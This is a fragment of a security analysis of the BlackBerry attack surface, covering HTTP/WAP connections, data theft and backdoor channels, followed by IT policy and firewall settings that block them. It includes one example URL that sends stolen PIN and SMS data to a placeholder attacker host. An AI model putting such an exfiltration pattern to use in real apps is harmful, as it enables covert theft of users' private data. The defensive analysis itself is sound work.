
Attack Surface Analysis of BlackBerry Devices
Proxy/Firewall Bypass
Backdoor
Port Scan
HTTP / WAP
The BlackBerry supports HTTP and WAP connections via the J2ME API javax.microedition.io.
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Unsigned
and signed applications can open a new HTTP connection, and send and receive data using OutputStream
and InputStream objects.
Data Theft
A user installs some apparently useful application or video game. The application steals the user's informa-
tion and the information is passed to the attacker via a HTTP GET request. I.e.:
http://www.badsite.com/upload?&PIN=9012345678&SMS=1&FROM=0865550456&MSG=This+is+top+sec
ret+data
Backdoor
HTTP can also be used as a command and control channel. A malicious application can make an outbound
HTTP connection to retrieve commands from a remote Web site and send back data. E.g.:
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IT Policy "Allow External Connections" = False
"Allow Internal Connections" = False
Application Controls "External Domains" = [list of allowed domains]
or
"External Network Connections" = Not Permitted
"Internal Network Connections" = Not Permitted
Device Firewall Status = Enabled
Application Permissions Connections > Carrier Internet = Deny
Other Device Settings
IT Policy "Allow External Connections" = False
"Allow Internal Connections" = False
Application Controls "External Network Connections" = Not Permitted
"Internal Network Connections" = Not Permitted
Device Firewall Status = Enabled
Application Permissions Connections > Carrier Internet = Deny
Other Device Settings
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